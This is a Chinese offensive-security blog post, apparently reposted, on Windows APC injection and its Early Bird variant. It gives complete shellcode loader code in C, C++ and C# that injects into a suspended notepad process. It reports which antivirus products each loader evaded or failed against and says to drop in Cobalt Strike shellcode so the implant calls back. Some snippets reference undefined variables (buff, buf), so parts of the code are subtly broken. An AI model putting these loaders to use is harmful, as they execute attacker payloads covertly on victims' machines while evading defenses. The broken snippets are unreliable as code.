APC注入以及几种实现方式
2022-12-13 09:2:21 Author: LemonSec(查看原文) 阅读量:18 收藏

前言:本文以最新版360作为测试,如果有错漏之处,还请师傅们指正。

APC介绍

APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
APC注入的一些前置如下:
  • 线程在进程内执行
  • 线程会调用在APC队列中的函数
  • 应用可以给特定线程的APC队列压入函数(有权限控制)
  • 压入队列后,线程将按照顺序优先级执行(FIFO)
  • 这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数
MSDN上对此解释如下
QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc:   函数作用: 回调函数的写法.
首先异步函数调用的原理:
异步过程调用是一种能在特定线程环境中异步执行的系统机制。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

APC 注入

简单原理

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

注入流程

QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。

APC注入实现

函数原型
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //APC 注入方式
[in] HANDLE hThread,
[in] ULONG_PTR dwData);

C++ 实现

代码如下
#include <Windows.h>#include <iostream>unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4"int main(){
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe"; //path
SIZE_T buff = sizeof(shellcode); //size of shellcode
STARTUPINFOA sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 }; //return a new process info
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); //create a new thread for process
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;

// write shellcode to the process memory
LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);

// use QueueUserAPC load shellcode
QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
ResumeThread(hThread);

return 0;}

C#实现

代码如下
using System;using System.Runtime.InteropServices;

public class shellcode

{ [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

public static extern uint ResumeThread(IntPtr hThread); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

public static extern bool CloseHandle(IntPtr hObject); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]

public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);

public enum ProcessAccessRights

{

All = 0x001F0FFF,

Terminate = 0x00000001,

CreateThread = 0x00000002,

VirtualMemoryOperation = 0x00000008,

VirtualMemoryRead = 0x00000010,

VirtualMemoryWrite = 0x00000020,

DuplicateHandle = 0x00000040,

CreateProcess = 0x000000080,

SetQuota = 0x00000100,

SetInformation = 0x00000200,

QueryInformation = 0x00000400,

QueryLimitedInformation = 0x00001000,

Synchronize = 0x00100000

}

public enum ThreadAccess : int

{

TERMINATE = (0x0001),

SUSPEND_RESUME = (0x0002),

GET_CONTEXT = (0x0008),

SET_CONTEXT = (0x0010),

SET_INFORMATION = (0x0020),

QUERY_INFORMATION = (0x0040),

SET_THREAD_TOKEN = (0x0080),

IMPERSONATE = (0x0100),

DIRECT_IMPERSONATION = (0x0200),

THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,

THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION

}

public enum MemAllocation

{

MEM_COMMIT = 0x00001000,

MEM_RESERVE = 0x00002000,

MEM_RESET = 0x00080000,

MEM_RESET_UNDO = 0x1000000,

SecCommit = 0x08000000

}

public enum MemProtect

{

PAGE_EXECUTE = 0x10,

PAGE_EXECUTE_READ = 0x20,

PAGE_EXECUTE_READWRITE = 0x40,

PAGE_EXECUTE_WRITECOPY = 0x80,

PAGE_NOACCESS = 0x01,

PAGE_READONLY = 0x02,

PAGE_READWRITE = 0x04,

PAGE_WRITECOPY = 0x08,

PAGE_TARGETS_INVALID = 0x40000000,

PAGE_TARGETS_NO_UPDATE = 0x40000000,

} [StructLayout(LayoutKind.Sequential)]

public struct PROCESS_INFORMATION

{

public IntPtr hProcess;

public IntPtr hThread;

public int dwProcessId;

public int dwThreadId;

} [StructLayout(LayoutKind.Sequential)]

internal struct PROCESS_BASIC_INFORMATION

{

public IntPtr Reserved1;

public IntPtr PebAddress;

public IntPtr Reserved2;

public IntPtr Reserved3;

public IntPtr UniquePid;

public IntPtr MoreReserved;

} [StructLayout(LayoutKind.Sequential)]

//internal struct STARTUPINFO

public struct STARTUPINFO

{

uint cb;

IntPtr lpReserved;

IntPtr lpDesktop;

IntPtr lpTitle;

uint dwX;

uint dwY;

uint dwXSize;

uint dwYSize;

uint dwXCountChars;

uint dwYCountChars;

uint dwFillAttributes;

public uint dwFlags;

public ushort wShowWindow;

ushort cbReserved;

IntPtr lpReserved2;

IntPtr hStdInput;

IntPtr hStdOutput;

IntPtr hStdErr;

}

public static PROCESS_INFORMATION StartProcess(string binaryPath)

{

uint flags = 0x00000004;

STARTUPINFO startInfo = new STARTUPINFO();

PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();

CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);

return procInfo;

}

public TestClass()

{

string b64 = "<shellcode>"; //shellcode base64 encode

string targetprocess = "C:/Windows/System32/notepad.exe";

byte[] shellcode = new byte[] { };

shellcode = Convert.FromBase64String(b64);

uint lpNumberOfBytesWritten = 0;

PROCESS_INFORMATION processInfo = StartProcess(targetprocess);

IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);

//write shellcode to the process memory

IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);

if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))

{

IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);

IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);

ResumeThread(tHandle);

}

bool hOpenProcessClose = CloseHandle(pHandle);

}

}

这里测试过了火绒但是没过360

C实现

代码如下
#include <windows.h>#include <stdio.h>unsigned char shellcode[] = <shellcode>; //shellcode {0xfc,0x48,0x83}unsigned int buff = sizeof(shellcode);int main(void) {

STARTUPINFO si;

PROCESS_INFORMATION pi;

void * ptApcRoutine;

ZeroMemory(&si, sizeof(si));

si.cb = sizeof(si);

ZeroMemory(&pi, sizeof(pi));

CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);

WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);

QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);

ResumeThread(pi.hThread);

return 0;}

这里被360杀了,但是加载是能上线的。

APC 注入变种 Early bird

Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlertNtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行shellcode。(如果要将shellcode注入本地进程,则可以APC到当前线程并调用NtTestAlert函数来执行)
通常使用的 Windows 函数包括:
  • CreateProcessA :此函数用于创建新进程及其主线程。
  • VirtualAllocEx :在指定进程的虚拟空间保留或提交内存区域
  • WriteProcessMemory :将数据写入指定进程的内存区域。
  • QueueUserAPC :允许将 APC 对象添加到指定线程的 APC 队列中。

Early bird注入流程

  • 1.创建一个挂起的进程(通常是windows的合法进程)
  • 2.在挂起的进程内申请一块可读可写可执行的内存空间
  • 3.往申请的空间内写入shellcode
  • 4.将APC插入到该进程的主线程
  • 5.恢复挂起进程的线程

Early bird注入实现

C实现

代码如下
#include <Windows.h>int main() {

unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4"

SIZE_T shellSz = sizeof(buff);

STARTUPINFOA st = { 0 };

PROCESS_INFORMATION prt = { 0 };

CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);

HANDLE victimProcess = prt.hProcess;

HANDLE threadHandle = prt.hThread;

LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;

WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);

QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);

ResumeThread(threadHandle);

return 0;}

C++实现

代码如下
#include <Windows.h>int main(){
unsigned char shellcode[] = "<shellcode>"; //"\xfc\x48\x83\xe4"
SIZE_T shellSize = sizeof(buf);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };

CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;

LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);

return 0;}

Go实现

参考项目:https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird
将其中的shellcode替换成CS的shellcode即可
编译之后运行上线
https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSDN
http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html
https://www.cnblogs.com/iBinary/p/7574055.html
https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
https://idiotc4t.com/code-and-dll-process-injection/early-bird

来源:先知(https://xz.aliyun.com/t/11153#toc-0)

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